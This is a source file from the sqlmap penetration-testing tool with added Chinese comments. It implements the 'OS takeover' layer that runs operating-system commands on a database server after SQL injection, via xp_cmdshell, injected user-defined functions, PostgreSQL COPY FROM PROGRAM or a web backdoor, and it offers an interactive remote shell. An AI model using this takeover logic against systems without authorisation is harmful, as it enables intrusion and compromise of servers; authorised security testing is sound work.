You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
267 lines
9.5 KiB
267 lines
9.5 KiB
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
# 导入必要的模块
|
|
from __future__ import print_function
|
|
|
|
import sys
|
|
|
|
from lib.core.common import Backend
|
|
from lib.core.common import dataToStdout
|
|
from lib.core.common import getSQLSnippet
|
|
from lib.core.common import isStackingAvailable
|
|
from lib.core.common import readInput
|
|
from lib.core.convert import getUnicode
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.enums import AUTOCOMPLETE_TYPE
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import OS
|
|
from lib.core.exception import SqlmapFilePathException
|
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
|
from lib.core.shell import autoCompletion
|
|
from lib.request import inject
|
|
from lib.takeover.udf import UDF
|
|
from lib.takeover.web import Web
|
|
from lib.takeover.xp_cmdshell import XP_cmdshell
|
|
from lib.utils.safe2bin import safechardecode
|
|
from thirdparty.six.moves import input as _input
|
|
|
|
class Abstraction(Web, UDF, XP_cmdshell):
|
|
"""
|
|
这个类定义了一个抽象层,用于操作系统接管功能
|
|
继承了Web、UDF和XP_cmdshell类的功能
|
|
"""
|
|
|
|
def __init__(self):
|
|
# 初始化环境状态标志
|
|
self.envInitialized = False
|
|
# 是否总是获取命令输出的标志
|
|
self.alwaysRetrieveCmdOutput = False
|
|
|
|
# 调用父类的初始化方法
|
|
UDF.__init__(self)
|
|
Web.__init__(self)
|
|
XP_cmdshell.__init__(self)
|
|
|
|
def execCmd(self, cmd, silent=False):
|
|
"""
|
|
执行系统命令的方法
|
|
根据不同的数据库类型选择不同的执行方式
|
|
"""
|
|
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
|
|
# PostgreSQL使用COPY命令执行
|
|
self.copyExecCmd(cmd)
|
|
|
|
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
|
|
# 如果有Web后门URL且不支持堆叠查询或UDF失败,使用Web后门执行
|
|
self.webBackdoorRunCmd(cmd)
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
# MySQL和PostgreSQL使用用户自定义函数执行
|
|
self.udfExecCmd(cmd, silent=silent)
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
# SQL Server使用xp_cmdshell扩展存储过程执行
|
|
self.xpCmdshellExecCmd(cmd, silent=silent)
|
|
|
|
else:
|
|
# 不支持的数据库类型
|
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
def evalCmd(self, cmd, first=None, last=None):
|
|
"""
|
|
执行命令并返回结果的方法
|
|
"""
|
|
retVal = None
|
|
|
|
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
|
|
retVal = self.copyExecCmd(cmd)
|
|
|
|
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
|
|
retVal = self.webBackdoorRunCmd(cmd)
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
retVal = self.udfEvalCmd(cmd, first, last)
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
|
|
|
|
else:
|
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
return safechardecode(retVal)
|
|
|
|
def runCmd(self, cmd):
|
|
"""
|
|
运行命令并处理输出的方法
|
|
"""
|
|
choice = None
|
|
|
|
if not self.alwaysRetrieveCmdOutput:
|
|
# 询问用户是否需要获取命令输出
|
|
message = "do you want to retrieve the command standard "
|
|
message += "output? [Y/n/a] "
|
|
choice = readInput(message, default='Y').upper()
|
|
|
|
if choice == 'A':
|
|
self.alwaysRetrieveCmdOutput = True
|
|
|
|
if choice == 'Y' or self.alwaysRetrieveCmdOutput:
|
|
# 获取并显示命令输出
|
|
output = self.evalCmd(cmd)
|
|
|
|
if output:
|
|
conf.dumper.string("command standard output", output)
|
|
else:
|
|
dataToStdout("No output\n")
|
|
else:
|
|
# 仅执行命令不获取输出
|
|
self.execCmd(cmd)
|
|
|
|
def shell(self):
|
|
"""
|
|
提供交互式shell的方法
|
|
"""
|
|
if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
|
|
infoMsg = "calling OS shell. To quit type "
|
|
infoMsg += "'x' or 'q' and press ENTER"
|
|
logger.info(infoMsg)
|
|
|
|
else:
|
|
# 根据不同数据库类型显示相应的提示信息
|
|
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
|
|
infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
|
|
infoMsg += "command execution"
|
|
logger.info(infoMsg)
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
infoMsg = "going to use injected user-defined functions "
|
|
infoMsg += "'sys_eval' and 'sys_exec' for operating system "
|
|
infoMsg += "command execution"
|
|
logger.info(infoMsg)
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
infoMsg = "going to use extended procedure 'xp_cmdshell' for "
|
|
infoMsg += "operating system command execution"
|
|
logger.info(infoMsg)
|
|
|
|
else:
|
|
errMsg = "feature not yet implemented for the back-end DBMS"
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
|
|
infoMsg += "'x' or 'q' and press ENTER"
|
|
logger.info(infoMsg)
|
|
|
|
# 设置命令自动完成
|
|
autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX)
|
|
|
|
# shell的主循环
|
|
while True:
|
|
command = None
|
|
|
|
try:
|
|
# 获取用户输入的命令
|
|
command = _input("os-shell> ")
|
|
command = getUnicode(command, encoding=sys.stdin.encoding)
|
|
except KeyboardInterrupt:
|
|
print()
|
|
errMsg = "user aborted"
|
|
logger.error(errMsg)
|
|
except EOFError:
|
|
print()
|
|
errMsg = "exit"
|
|
logger.error(errMsg)
|
|
break
|
|
|
|
if not command:
|
|
continue
|
|
|
|
if command.lower() in ("x", "q", "exit", "quit"):
|
|
break
|
|
|
|
self.runCmd(command)
|
|
|
|
def _initRunAs(self):
|
|
"""
|
|
初始化以其他用户身份运行的功能
|
|
"""
|
|
if not conf.dbmsCred:
|
|
return
|
|
|
|
if not conf.direct and not isStackingAvailable():
|
|
errMsg = "stacked queries are not supported hence sqlmap cannot "
|
|
errMsg += "execute statements as another user. The execution "
|
|
errMsg += "will continue and the DBMS credentials provided "
|
|
errMsg += "will simply be ignored"
|
|
logger.error(errMsg)
|
|
|
|
return
|
|
|
|
if Backend.isDbms(DBMS.MSSQL):
|
|
# SQL Server需要启用OPENROWSET功能
|
|
msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
|
|
msg += "is disabled by default. This function is needed to execute "
|
|
msg += "statements as another DBMS user since you provided the "
|
|
msg += "option '--dbms-creds'. If you are DBA, you can enable it. "
|
|
msg += "Do you want to enable it? [Y/n] "
|
|
|
|
if readInput(msg, default='Y', boolean=True):
|
|
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
|
|
inject.goStacked(expression)
|
|
|
|
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
|
|
"""
|
|
初始化环境的方法
|
|
"""
|
|
self._initRunAs()
|
|
|
|
if self.envInitialized and not forceInit:
|
|
return
|
|
|
|
if web:
|
|
# 初始化Web环境
|
|
self.webInit()
|
|
else:
|
|
# 检查数据库操作系统
|
|
self.checkDbmsOs(detailed)
|
|
|
|
if mandatory and not self.isDba():
|
|
# 警告用户当前可能没有足够的权限
|
|
warnMsg = "functionality requested probably does not work because "
|
|
warnMsg += "the current session user is not a database administrator"
|
|
|
|
if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
|
warnMsg += ". You can try to use option '--dbms-cred' "
|
|
warnMsg += "to execute statements as a DBA user if you "
|
|
warnMsg += "were able to extract and crack a DBA "
|
|
warnMsg += "password by any mean"
|
|
|
|
logger.warning(warnMsg)
|
|
|
|
# 根据不同数据库类型初始化相应功能
|
|
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
|
|
success = True
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
success = self.udfInjectSys()
|
|
|
|
if success is not True:
|
|
msg = "unable to mount the operating system takeover"
|
|
raise SqlmapFilePathException(msg)
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
if mandatory:
|
|
self.xpCmdshellInit()
|
|
else:
|
|
errMsg = "feature not yet implemented for the back-end DBMS"
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
self.envInitialized = True
|